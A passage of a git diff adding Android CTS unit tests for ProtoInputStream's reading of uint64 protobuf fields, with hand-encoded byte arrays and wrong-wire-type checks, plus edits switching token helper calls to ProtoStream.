+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT32;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readInt(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readInt(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readInt(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed uint32)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readInt(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt64Test.java b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt64Test.java
new file mode 100644
index 0000000..f8766b5
--- /dev/null
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoInputStreamUInt64Test.java
@@ -0,0 +1,640 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.util.proto.cts;
+
+import android.util.proto.ProtoInputStream;
+import android.util.proto.ProtoStream;
+import android.util.proto.WireTypeMismatchException;
+import android.util.proto.cts.nano.Test;
+
+import com.google.protobuf.nano.MessageNano;
+
+import junit.framework.TestCase;
+
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+public class ProtoInputStreamUInt64Test extends TestCase {
+
+ public void testRead() throws IOException {
+ testRead(0);
+ testRead(1);
+ testRead(5);
+ }
+
+ private void testRead(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, not written
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 8 -> Integer.MAX_VALUE
+ (byte) 0x40,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[] results = new long[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ fail("Should never reach this");
+ break;
+ case (int) FIELD_ID_2:
+ results[1] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0]);
+ assertEquals(1, results[1]);
+ assertEquals(-1, results[2]);
+ assertEquals(Integer.MIN_VALUE, results[3]);
+ assertEquals(Integer.MAX_VALUE, results[4]);
+ assertEquals(Long.MIN_VALUE, results[5]);
+ assertEquals(Long.MAX_VALUE, results[6]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testReadCompat() throws Exception {
+ testReadCompat(0);
+ testReadCompat(1);
+ testReadCompat(-1);
+ testReadCompat(Integer.MIN_VALUE);
+ testReadCompat(Integer.MAX_VALUE);
+ testReadCompat(Long.MIN_VALUE);
+ testReadCompat(Long.MAX_VALUE);
+ }
+
+ /**
+ * Implementation of testReadCompat with a given value.
+ */
+ private void testReadCompat(long val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+ final long FIELD_ID = fieldFlags | ((long) 60 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.uint64Field = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long result = 0; // start off with default value
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.uint64Field, result);
+ }
+
+ public void testRepeated() throws IOException {
+ testRepeated(0);
+ testRepeated(1);
+ testRepeated(5);
+ }
+
+ private void testRepeated(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ // 8 -> Integer.MAX_VALUE
+ (byte) 0x40,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x08,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x10,
+ (byte) 0x01,
+ // 3 -> -1
+ (byte) 0x18,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x20,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x28,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x30,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x38,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testRepeatedCompat() throws Exception {
+ testRepeatedCompat(new long[0]);
+ testRepeatedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testRepeatedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT64;
+ final long FIELD_ID = fieldFlags | ((long) 61 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.uint64FieldRepeated = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.uint64FieldRepeated.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.uint64FieldRepeated[i], result[i]);
+ }
+ }
+
+ public void testPacked() throws IOException {
+ testPacked(0);
+ testPacked(1);
+ testPacked(5);
+ }
+
+ private void testPacked(int chunkSize) throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_PACKED | ProtoStream.FIELD_TYPE_UINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_4 = fieldFlags | ((long) 4 & 0x0ffffffffL);
+ final long FIELD_ID_5 = fieldFlags | ((long) 5 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+ final long FIELD_ID_7 = fieldFlags | ((long) 7 & 0x0ffffffffL);
+ final long FIELD_ID_8 = fieldFlags | ((long) 8 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 0 - default value, written when repeated
+ (byte) 0x0a,
+ (byte) 0x02,
+ (byte) 0x00,
+ (byte) 0x00,
+ // 2 -> 1
+ (byte) 0x12,
+ (byte) 0x02,
+ (byte) 0x01,
+ (byte) 0x01,
+
+ // 8 -> Integer.MAX_VALUE
+ (byte) 0x42,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 3 -> -1
+ (byte) 0x1a,
+ (byte) 0x14,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 4 -> Integer.MIN_VALUE
+ (byte) 0x22,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0xf8,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x01,
+
+ // 5 -> Integer.MAX_VALUE
+ (byte) 0x2a,
+ (byte) 0x0a,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x07,
+
+ // 6 -> Long.MIN_VALUE
+ (byte) 0x32,
+ (byte) 0x14,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80,
+ (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x80, (byte) 0x01,
+
+ // 7 -> Long.MAX_VALUE
+ (byte) 0x3a,
+ (byte) 0x12,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff,
+ (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x7f,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream, chunkSize);
+ long[][] results = new long[7][2];
+ int[] indices = new int[7];
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ results[0][indices[0]++] = pi.readLong(FIELD_ID_1);
+ break;
+ case (int) FIELD_ID_2:
+ results[1][indices[1]++] = pi.readLong(FIELD_ID_2);
+ break;
+ case (int) FIELD_ID_3:
+ results[2][indices[2]++] = pi.readLong(FIELD_ID_3);
+ break;
+ case (int) FIELD_ID_4:
+ results[3][indices[3]++] = pi.readLong(FIELD_ID_4);
+ break;
+ case (int) FIELD_ID_5:
+ results[4][indices[4]++] = pi.readLong(FIELD_ID_5);
+ break;
+ case (int) FIELD_ID_6:
+ results[5][indices[5]++] = pi.readLong(FIELD_ID_6);
+ break;
+ case (int) FIELD_ID_7:
+ results[6][indices[6]++] = pi.readLong(FIELD_ID_7);
+ break;
+ case (int) FIELD_ID_8:
+ // Intentionally don't read the data. Parse should continue normally
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+ stream.close();
+
+ assertEquals(0, results[0][0]);
+ assertEquals(0, results[0][1]);
+ assertEquals(1, results[1][0]);
+ assertEquals(1, results[1][1]);
+ assertEquals(-1, results[2][0]);
+ assertEquals(-1, results[2][1]);
+ assertEquals(Integer.MIN_VALUE, results[3][0]);
+ assertEquals(Integer.MIN_VALUE, results[3][1]);
+ assertEquals(Integer.MAX_VALUE, results[4][0]);
+ assertEquals(Integer.MAX_VALUE, results[4][1]);
+ assertEquals(Long.MIN_VALUE, results[5][0]);
+ assertEquals(Long.MIN_VALUE, results[5][1]);
+ assertEquals(Long.MAX_VALUE, results[6][0]);
+ assertEquals(Long.MAX_VALUE, results[6][1]);
+ }
+
+ /**
+ * Test that reading with ProtoInputStream matches, and can read the output of standard proto.
+ */
+ public void testPackedCompat() throws Exception {
+ testPackedCompat(new long[0]);
+ testPackedCompat(new long[]{0, 1, -1, Integer.MIN_VALUE, Integer.MAX_VALUE,});
+ }
+
+ /**
+ * Implementation of testRepeatedCompat with a given value.
+ */
+ private void testPackedCompat(long[] val) throws Exception {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_REPEATED | ProtoStream.FIELD_TYPE_UINT64;
+ final long FIELD_ID = fieldFlags | ((long) 62 & 0x0ffffffffL);
+
+ final Test.All all = new Test.All();
+ all.uint64FieldPacked = val;
+
+ final byte[] proto = MessageNano.toByteArray(all);
+
+ final ProtoInputStream pi = new ProtoInputStream(proto);
+ final Test.All readback = Test.All.parseFrom(proto);
+
+ long[] result = new long[val.length];
+ int index = 0;
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID:
+ result[index++] = pi.readLong(FIELD_ID);
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ }
+
+ assertEquals(readback.uint64FieldPacked.length, result.length);
+ for (int i = 0; i < result.length; i++) {
+ assertEquals(readback.uint64FieldPacked[i], result[i]);
+ }
+ }
+
+ /**
+ * Test that using the wrong read method throws an exception
+ */
+ public void testBadReadType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ };
+
+ ProtoInputStream pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readFloat(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readDouble(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readInt(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBoolean(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readBytes(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+
+ pi = new ProtoInputStream(protobuf);
+ pi.isNextField(FIELD_ID_1);
+ try {
+ pi.readString(FIELD_ID_1);
+ fail("Should have throw IllegalArgumentException");
+ } catch (IllegalArgumentException iae) {
+ // good
+ }
+ }
+
+ /**
+ * Test that unexpected wrong wire types will throw an exception
+ */
+ public void testBadWireType() throws IOException {
+ final long fieldFlags = ProtoStream.FIELD_COUNT_SINGLE | ProtoStream.FIELD_TYPE_UINT64;
+
+ final long FIELD_ID_1 = fieldFlags | ((long) 1 & 0x0ffffffffL);
+ final long FIELD_ID_2 = fieldFlags | ((long) 2 & 0x0ffffffffL);
+ final long FIELD_ID_3 = fieldFlags | ((long) 3 & 0x0ffffffffL);
+ final long FIELD_ID_6 = fieldFlags | ((long) 6 & 0x0ffffffffL);
+
+ final byte[] protobuf = new byte[]{
+ // 1 : varint -> 1
+ (byte) 0x08,
+ (byte) 0x01,
+ // 2 : fixed64 -> 0x1
+ (byte) 0x11,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ // 3 : length delimited -> { 1 }
+ (byte) 0x1a,
+ (byte) 0x01,
+ (byte) 0x01,
+ // 6 : fixed32
+ (byte) 0x35,
+ (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00,
+ };
+
+ InputStream stream = new ByteArrayInputStream(protobuf);
+ final ProtoInputStream pi = new ProtoInputStream(stream);
+
+ while (pi.nextField() != ProtoInputStream.NO_MORE_FIELDS) {
+ try {
+ switch (pi.getFieldNumber()) {
+ case (int) FIELD_ID_1:
+ pi.readLong(FIELD_ID_1);
+ // don't fail, varint is ok
+ break;
+ case (int) FIELD_ID_2:
+ pi.readLong(FIELD_ID_2);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ case (int) FIELD_ID_3:
+ pi.readLong(FIELD_ID_3);
+ // don't fail, length delimited is ok (represents packed uint64)
+ break;
+ case (int) FIELD_ID_6:
+ pi.readLong(FIELD_ID_6);
+ fail("Should have thrown a WireTypeMismatchException");
+ break;
+ default:
+ fail("Unexpected field id " + pi.getFieldNumber());
+ }
+ } catch (WireTypeMismatchException wtme) {
+ // good
+ }
+ }
+ stream.close();
+ }
+}
diff --git a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
index 8178b46..f8bd54b 100644
--- a/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
+++ b/tests/tests/proto/src/android/util/proto/cts/ProtoOutputStreamObjectTest.java
@@ -17,6 +17,7 @@
package android.util.proto.cts;
import android.util.proto.ProtoOutputStream;
+import android.util.proto.ProtoStream;
import android.util.proto.cts.nano.Test;
import com.google.protobuf.nano.MessageNano;
@@ -36,31 +37,31 @@
* Test making the tokens for startObject.
*/
public void testMakeToken() throws Exception {
- assertEquals(0xe000000000000000L, ProtoOutputStream.makeToken(0xffffffff, false, 0, 0, 0));
- assertEquals(0x1000000000000000L, ProtoOutputStream.makeToken(0, true, 0, 0, 0));
- assertEquals(0x0ff8000000000000L, ProtoOutputStream.makeToken(0, false, 0xffffffff, 0, 0));
- assertEquals(0x0007ffff00000000L, ProtoOutputStream.makeToken(0, false, 0, 0xffffffff, 0));
- assertEquals(0x00000000ffffffffL, ProtoOutputStream.makeToken(0, false, 0, 0, 0xffffffff));
+ assertEquals(0xe000000000000000L, ProtoStream.makeToken(0xffffffff, false, 0, 0, 0));
+ assertEquals(0x1000000000000000L, ProtoStream.makeToken(0, true, 0, 0, 0));
+ assertEquals(0x0ff8000000000000L, ProtoStream.makeToken(0, false, 0xffffffff, 0, 0));
+ assertEquals(0x0007ffff00000000L, ProtoStream.makeToken(0, false, 0, 0xffffffff, 0));
+ assertEquals(0x00000000ffffffffL, ProtoStream.makeToken(0, false, 0, 0, 0xffffffff));
}
/**
* Test decoding the tokens.
*/
public void testDecodeToken() throws Exception {
- assertEquals(0x07, ProtoOutputStream.getTagSizeFromToken(0xffffffffffffffffL));
- assertEquals(0, ProtoOutputStream.getTagSizeFromToken(0x1fffffffffffffffL));
+ assertEquals(0x07, ProtoStream.getTagSizeFromToken(0xffffffffffffffffL));
+ assertEquals(0, ProtoStream.getTagSizeFromToken(0x1fffffffffffffffL));
- assertEquals(true, ProtoOutputStream.getRepeatedFromToken(0xffffffffffffffffL));
- assertEquals(false, ProtoOutputStream.getRepeatedFromToken(0xefffffffffffffffL));
+ assertEquals(true, ProtoStream.getRepeatedFromToken(0xffffffffffffffffL));
+ assertEquals(false, ProtoStream.getRepeatedFromToken(0xefffffffffffffffL));
- assertEquals(0x01ff, ProtoOutputStream.getDepthFromToken(0xffffffffffffffffL));
- assertEquals(0, ProtoOutputStream.getDepthFromToken(0xf005ffffffffffffL));
+ assertEquals(0x01ff, ProtoStream.getDepthFromToken(0xffffffffffffffffL));
+ assertEquals(0, ProtoStream.getDepthFromToken(0xf005ffffffffffffL));
- assertEquals(0x07ffff, ProtoOutputStream.getObjectIdFromToken(0xffffffffffffffffL));
- assertEquals(0, ProtoOutputStream.getObjectIdFromToken(0xfff80000ffffffffL));
+ assertEquals(0x07ffff, ProtoStream.getObjectIdFromToken(0xffffffffffffffffL));
+ assertEquals(0, ProtoStream.getObjectIdFromToken(0xfff80000ffffffffL));
- assertEquals(0xffffffff, ProtoOutputStream.getSizePosFromToken(0xffffffffffffffffL));
